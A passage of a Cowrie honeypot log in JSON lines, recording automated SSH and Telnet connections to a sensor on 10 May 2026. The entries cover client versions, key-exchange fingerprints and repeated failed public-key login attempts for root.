se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:49.326442Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:ad:4f:a2:e9:a5:9d:51:61:d3:24:a8:82:93:21:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCJ98KPuD37SXjN9qoVFAC/kM290SKHxo6S85dCPeX4dI4AtxsZIXxC0bPgzNpnjCsO+nq4Fr1ENMQDa5ONvM1fVEAgo9Ktv8PBIhVJ/xknikVDEGbVTThrKghC9oXsV5n3aezx9v8ELmdQ+ca+Gh7G/jXsssGOhymX0RYFGNuxy1itn44tnNz4x6mJJ0GfHoDtfPCzOzHLnERqLxqLJTxDQtKX+mP8T7MG4hScgkzocJG+tPLdpw/Xu+DFWgWCUkWn8sLcJsXGZpcRA7LRv6QkYo5/6AWjAnSLn8qFw3CWAUHynsXoDazBPGHssPZxjjesyISSB3kzqU2r++0E1bF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:ad:4f:a2:e9:a5:9d:51:61:d3:24:a8:82:93:21:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:49.902102Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:ad:4f:a2:e9:a5:9d:51:61:d3:24:a8:82:93:21:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCJ98KPuD37SXjN9qoVFAC/kM290SKHxo6S85dCPeX4dI4AtxsZIXxC0bPgzNpnjCsO+nq4Fr1ENMQDa5ONvM1fVEAgo9Ktv8PBIhVJ/xknikVDEGbVTThrKghC9oXsV5n3aezx9v8ELmdQ+ca+Gh7G/jXsssGOhymX0RYFGNuxy1itn44tnNz4x6mJJ0GfHoDtfPCzOzHLnERqLxqLJTxDQtKX+mP8T7MG4hScgkzocJG+tPLdpw/Xu+DFWgWCUkWn8sLcJsXGZpcRA7LRv6QkYo5/6AWjAnSLn8qFw3CWAUHynsXoDazBPGHssPZxjjesyISSB3kzqU2r++0E1bF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:49.906178Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:85:b8:2a:d5:89:37:fc:79:90:6c:2b:33:d9:d2:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiZs7vx5KY/6WrP6rw5tbw4sCg2XpDZpGvqgr2OZCBw8EKHI6wpskKXr/tfk5yUzJQGQuVj0dCNv44vZMOFoNBsPxTQhmT5sSsletFiuz/ODA6OLEG3/gFe87hN/qzDAvs6HK95jKIen4iYdLMUPFpL5w8LXVQRoe4WkFq7JGjI54NyXDrMs//juZAhJKlRsgoU/HZgFMddGx0g1nddiDs1nDQc5jQzVhjvomABKmKaZ8aa0FMVItEtXKJ9tvIw9Z+0NDVcdVz9i6Nqqq7HFqHdrrTIQTFjVT6uM6UyyomepIpYF/xI8dzNrBxS04dsliBvCln0o58zameaa0CupG9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:85:b8:2a:d5:89:37:fc:79:90:6c:2b:33:d9:d2:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.026572Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:85:b8:2a:d5:89:37:fc:79:90:6c:2b:33:d9:d2:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiZs7vx5KY/6WrP6rw5tbw4sCg2XpDZpGvqgr2OZCBw8EKHI6wpskKXr/tfk5yUzJQGQuVj0dCNv44vZMOFoNBsPxTQhmT5sSsletFiuz/ODA6OLEG3/gFe87hN/qzDAvs6HK95jKIen4iYdLMUPFpL5w8LXVQRoe4WkFq7JGjI54NyXDrMs//juZAhJKlRsgoU/HZgFMddGx0g1nddiDs1nDQc5jQzVhjvomABKmKaZ8aa0FMVItEtXKJ9tvIw9Z+0NDVcdVz9i6Nqqq7HFqHdrrTIQTFjVT6uM6UyyomepIpYF/xI8dzNrBxS04dsliBvCln0o58zameaa0CupG9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.030353Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:9c:ad:42:a2:6d:17:e5:c6:50:29:e5:83:3b:d1:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9zNg2IYDXqflLK93LNb0qmeCW54vRVvEi6U/lKrH9sxdfloWelVxVGYOlZY2tQdwLvA3FFY56Pqc2dVLM4FL5/0c1Orq/zGydiyl6hYOslDNBKB7cgkbQnu6QgK2tZQ8ABYLySWUWi/myoztvad+IZtKUYPSW3qjzGcs9z1nVAjy7dGV0jeLjO/FIpp0mNADkvqy7SHjYv8g7VHCSPAjq7YjqLK6WdG9Dp36fHQSTKdKvuxMSguLXRLbxbogdCxkkgXJySlKgUdoQ5TA1JVRbZqhhZVmiBKoriTWLve0qo4KAvL8D7wjdKyTlfYRBkW8uadw+dCkXdPnNWPTP4Udxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:9c:ad:42:a2:6d:17:e5:c6:50:29:e5:83:3b:d1:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.161731Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:9c:ad:42:a2:6d:17:e5:c6:50:29:e5:83:3b:d1:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9zNg2IYDXqflLK93LNb0qmeCW54vRVvEi6U/lKrH9sxdfloWelVxVGYOlZY2tQdwLvA3FFY56Pqc2dVLM4FL5/0c1Orq/zGydiyl6hYOslDNBKB7cgkbQnu6QgK2tZQ8ABYLySWUWi/myoztvad+IZtKUYPSW3qjzGcs9z1nVAjy7dGV0jeLjO/FIpp0mNADkvqy7SHjYv8g7VHCSPAjq7YjqLK6WdG9Dp36fHQSTKdKvuxMSguLXRLbxbogdCxkkgXJySlKgUdoQ5TA1JVRbZqhhZVmiBKoriTWLve0qo4KAvL8D7wjdKyTlfYRBkW8uadw+dCkXdPnNWPTP4Udxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.165393Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:b3:1b:fa:aa:42:d4:e8:24:37:f2:3d:95:f4:29:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArQ7BTizwftY2W5xW9qOstrySmGYx1zD4e0U0HNL/iA25qmlFLlXaGRyQzFmg9c+zeMTvKM5KDNgSlonB7ehrfQjHY45notKcV1KdGDwuPuq1iSiU97od6chaWC3DVk1zz3VSb6366Niepy2ZLhAhbQPpyLyIvVIcM6LhMx0YjcLSJn/BK1NRtkcEdKXXj5uW4xKWSutTnNfN2BbermqJKGueVYZRK1PPelVF3x/TvFUeuZ/0xfeNhZzG/TKOHMOWY/usa1LPWmneEeCnLQdO5/lntAFB0B7sGnXD9Z1QJ1sKs2lQro1cDtLwgDKqCiEYhvIjRrroGj+SQ+YVxyFEMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:b3:1b:fa:aa:42:d4:e8:24:37:f2:3d:95:f4:29:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.285173Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:b3:1b:fa:aa:42:d4:e8:24:37:f2:3d:95:f4:29:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArQ7BTizwftY2W5xW9qOstrySmGYx1zD4e0U0HNL/iA25qmlFLlXaGRyQzFmg9c+zeMTvKM5KDNgSlonB7ehrfQjHY45notKcV1KdGDwuPuq1iSiU97od6chaWC3DVk1zz3VSb6366Niepy2ZLhAhbQPpyLyIvVIcM6LhMx0YjcLSJn/BK1NRtkcEdKXXj5uW4xKWSutTnNfN2BbermqJKGueVYZRK1PPelVF3x/TvFUeuZ/0xfeNhZzG/TKOHMOWY/usa1LPWmneEeCnLQdO5/lntAFB0B7sGnXD9Z1QJ1sKs2lQro1cDtLwgDKqCiEYhvIjRrroGj+SQ+YVxyFEMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.289154Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:3a:82:e9:04:19:3f:c2:77:17:19:1e:ab:34:7c:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy3QAfurVBjCafIJObmErPY32J08fc9VhYm++Xqed4jLuRS37Lz6PV86DKRNVVWrW3V//bxtcW9a+5sg1/Es9G6pdTPSz53Wk/E/G1ZBUlC+yfSYxEqwgoIYQ5Hlxn8rD6ykJ+cFsqc/6t4SUUPkESoYlVPF+L4XiS+leafKzqIE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:3a:82:e9:04:19:3f:c2:77:17:19:1e:ab:34:7c:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.409326Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:3a:82:e9:04:19:3f:c2:77:17:19:1e:ab:34:7c:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy3QAfurVBjCafIJObmErPY32J08fc9VhYm++Xqed4jLuRS37Lz6PV86DKRNVVWrW3V//bxtcW9a+5sg1/Es9G6pdTPSz53Wk/E/G1ZBUlC+yfSYxEqwgoIYQ5Hlxn8rD6ykJ+cFsqc/6t4SUUPkESoYlVPF+L4XiS+leafKzqIE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.413349Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:50.534137Z","src_ip":"185.134.49.60","session":"6c3c66c090d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.156.13","src_port":48428,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4cfab64c030","protocol":"ssh","message":"New connection: 184.154.156.13:48428 (10.17.0.5:22) [session: b4cfab64c030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.548761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.553624Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.582098Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:87:5e:3d:48:b8:4b:94:8f:e5:9a:2b:9f:9b:8e:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtHaaebsd7alXgeQRIfQc89rfVpSEMAaqGYOrnZLq54UDig1b4UFnZKItm4uXD3xVDrBMSRWNvnFlkHG6vCIrr4T6mUmbIz1luVeDchtvh+6fCkFbzy6m9NFg1lT5WqnDi8Z0aC5X7bntpelYW0SKNdGZ2wyKPuv0J98tU0H+ReZpjpRm1mwdLiK3NFEEC3lQM9KtQnt9yT9IkMO2GNQp25udsw6Zxopxi68JZ473+zxg4iuHoflI4vU09dAfKRvMhUwpf0fY6dFa151hC9syvqHaPI1s2Ws/k/BCayVLWhbpvG88PJcnfMSCcpF95AQ9BXI3i8pC5WtrVK32a9MSGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:87:5e:3d:48:b8:4b:94:8f:e5:9a:2b:9f:9b:8e:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.703088Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:87:5e:3d:48:b8:4b:94:8f:e5:9a:2b:9f:9b:8e:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtHaaebsd7alXgeQRIfQc89rfVpSEMAaqGYOrnZLq54UDig1b4UFnZKItm4uXD3xVDrBMSRWNvnFlkHG6vCIrr4T6mUmbIz1luVeDchtvh+6fCkFbzy6m9NFg1lT5WqnDi8Z0aC5X7bntpelYW0SKNdGZ2wyKPuv0J98tU0H+ReZpjpRm1mwdLiK3NFEEC3lQM9KtQnt9yT9IkMO2GNQp25udsw6Zxopxi68JZ473+zxg4iuHoflI4vU09dAfKRvMhUwpf0fY6dFa151hC9syvqHaPI1s2Ws/k/BCayVLWhbpvG88PJcnfMSCcpF95AQ9BXI3i8pC5WtrVK32a9MSGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.707187Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:6c:43:9f:be:f8:8b:dc:44:a4:b1:df:52:16:cc:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdL4WvNKdvseSl3WM/C/q+5L4/HJgELL/c6phFsssQDhSrTw2lmBygIvQq2icx2/unJqcf0IKVuJt5F4go7/E9lTOICastGBnT+qfsOSZRc0s+/qpgS0JwWZykcys2bWFpmcW8wZzr+USnlsm652OiQfgoxLf3w5EYH5Q/qTD8SrLqwhxJ1l29AqB8+A/JRTSgfVgQkjPjt0UVTCE2VYFyAFKAkwcMMm60pn76lG/GbTyW7oK9OZvqXt1GPIDfUrK7bqRPS/N7f88qxOyEDweV3vOxXtgq41MFOfF6EDVBGPpAT5/ViXnqFhsp3WP+c5wh+oG6AlAgXe2dCs3Jlud/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:6c:43:9f:be:f8:8b:dc:44:a4:b1:df:52:16:cc:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.737908Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:6c:43:9f:be:f8:8b:dc:44:a4:b1:df:52:16:cc:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdL4WvNKdvseSl3WM/C/q+5L4/HJgELL/c6phFsssQDhSrTw2lmBygIvQq2icx2/unJqcf0IKVuJt5F4go7/E9lTOICastGBnT+qfsOSZRc0s+/qpgS0JwWZykcys2bWFpmcW8wZzr+USnlsm652OiQfgoxLf3w5EYH5Q/qTD8SrLqwhxJ1l29AqB8+A/JRTSgfVgQkjPjt0UVTCE2VYFyAFKAkwcMMm60pn76lG/GbTyW7oK9OZvqXt1GPIDfUrK7bqRPS/N7f88qxOyEDweV3vOxXtgq41MFOfF6EDVBGPpAT5/ViXnqFhsp3WP+c5wh+oG6AlAgXe2dCs3Jlud/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.742018Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:60:6d:5a:45:8d:d1:3e:e5:b2:4a:a6:ee:04:e3:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT9hdqocXX0eNXSpzfLQZ20j6uuHZAocoAecWv0oXHFfC34LqJxuoBJUJ72w5qoxy20wwW6Qa6eFwlTGfhF++A+hEXBRSm4ra2rQ/IsVs0a8QCVXyyQ+Rct9LmtmSMajCZ2pbRJ3sV6XwXgCuUowv2JxOgZ8qM/z9XLM3USUqnJ05h0Cg9c4Z7OpslnB2I7/CAUn61P9pkTKqVJH0KdoJ3zfPuU1m93k5Q4Y27bIzjZ9ATJLKMjqSFxow5tdH4MfzlSfarFgaN5Xprfs1C16mTOlTblaj0yyloTSrOAVelrbAsKys6Reup7D94jtwgh42uQe8UOS6Byz89DMlaWLUR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:60:6d:5a:45:8d:d1:3e:e5:b2:4a:a6:ee:04:e3:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.776515Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:60:6d:5a:45:8d:d1:3e:e5:b2:4a:a6:ee:04:e3:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT9hdqocXX0eNXSpzfLQZ20j6uuHZAocoAecWv0oXHFfC34LqJxuoBJUJ72w5qoxy20wwW6Qa6eFwlTGfhF++A+hEXBRSm4ra2rQ/IsVs0a8QCVXyyQ+Rct9LmtmSMajCZ2pbRJ3sV6XwXgCuUowv2JxOgZ8qM/z9XLM3USUqnJ05h0Cg9c4Z7OpslnB2I7/CAUn61P9pkTKqVJH0KdoJ3zfPuU1m93k5Q4Y27bIzjZ9ATJLKMjqSFxow5tdH4MfzlSfarFgaN5Xprfs1C16mTOlTblaj0yyloTSrOAVelrbAsKys6Reup7D94jtwgh42uQe8UOS6Byz89DMlaWLUR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.780184Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:e9:1c:7b:7d:72:55:ca:7c:11:0d:a2:56:66:b7:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVrkY2Qm71Dpa3WLUc9Qk+KyEaZVG8nY5sLULCroDLTr0JfZi7aU1W8D1MQtZsZ+4EBUMU/MhVDcnTcQocQANYvn7P6yTpjx02SX+mhPcyGKs2maIUO6uS3tB1JuhAQr1sWZhCwW0OvWaGl6SDmeGE6I9fgX2yrVbFBD0PCcxr6EO42KoDrnNEefgwaPXQL8DFu5s4Wm/hIEmwaoAOV7BdeTRmmHNzJ+V7Ymre4fW6RkFecqN7JAdiwpRONJCMUBHYj2rQtukJomDd+yn/UWd45Yqwv6Tf7YfqXP0yfq/5XKV1/GxjSAq1G23b4xeMtu1VZ1zWHVwhTWlVOPxuLko9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:e9:1c:7b:7d:72:55:ca:7c:11:0d:a2:56:66:b7:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.812435Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:e9:1c:7b:7d:72:55:ca:7c:11:0d:a2:56:66:b7:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVrkY2Qm71Dpa3WLUc9Qk+KyEaZVG8nY5sLULCroDLTr0JfZi7aU1W8D1MQtZsZ+4EBUMU/MhVDcnTcQocQANYvn7P6yTpjx02SX+mhPcyGKs2maIUO6uS3tB1JuhAQr1sWZhCwW0OvWaGl6SDmeGE6I9fgX2yrVbFBD0PCcxr6EO42KoDrnNEefgwaPXQL8DFu5s4Wm/hIEmwaoAOV7BdeTRmmHNzJ+V7Ymre4fW6RkFecqN7JAdiwpRONJCMUBHYj2rQtukJomDd+yn/UWd45Yqwv6Tf7YfqXP0yfq/5XKV1/GxjSAq1G23b4xeMtu1VZ1zWHVwhTWlVOPxuLko9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.816097Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:5f:5e:00:2b:06:7e:ee:b7:ad:e8:d8:88:c3:24:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxMFbdSza0fuR4QZBkAO4rOsv5z3XYfGYxYvLVG7NU5HOu58zE1abqdV4N4OcBAmc/AP0doFFASal/QzNBzL5UT4Mng9k05MH5xl1eWs9C7CStbFrdWDo92BhniPsm6+Z0Ae1xNUi4yLS7ON+E3V6Z7er0htSoCKivKbc34Iki7RoinAWRNuprFu2uGMJskzOW9w26c4oCp8nYDGEkHJBEweBvECRAgyeKBmdOhGF+cJYAQpoSYp9m+knUKLeN6k8KHs0XIaDa2qzWVe12T1QK2+JMVmvjZQqEKrpxOeLpzUtvuQS98Hx+FNJ1OXsCSpdleCIPxfqdiP+mmB1hmxVH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:5f:5e:00:2b:06:7e:ee:b7:ad:e8:d8:88:c3:24:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.850902Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:5f:5e:00:2b:06:7e:ee:b7:ad:e8:d8:88:c3:24:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxMFbdSza0fuR4QZBkAO4rOsv5z3XYfGYxYvLVG7NU5HOu58zE1abqdV4N4OcBAmc/AP0doFFASal/QzNBzL5UT4Mng9k05MH5xl1eWs9C7CStbFrdWDo92BhniPsm6+Z0Ae1xNUi4yLS7ON+E3V6Z7er0htSoCKivKbc34Iki7RoinAWRNuprFu2uGMJskzOW9w26c4oCp8nYDGEkHJBEweBvECRAgyeKBmdOhGF+cJYAQpoSYp9m+knUKLeN6k8KHs0XIaDa2qzWVe12T1QK2+JMVmvjZQqEKrpxOeLpzUtvuQS98Hx+FNJ1OXsCSpdleCIPxfqdiP+mmB1hmxVH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.855055Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:44:51.884685Z","src_ip":"184.154.156.13","session":"b4cfab64c030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45948,"dst_ip":"10.17.0.5","dst_port":23,"session":"933d4cdd537e","protocol":"telnet","message":"New connection: 212.55.149.117:45948 (10.17.0.5:23) [session: 933d4cdd537e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:45:33.071635Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38290,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccf19f867295","protocol":"ssh","message":"New connection: 103.15.226.202:38290 (10.17.0.5:22) [session: ccf19f867295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:46:40.225802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:46:40.230105Z","src_ip":"103.15.226.202","session":"ccf19f867295","protocol":"ssh"}
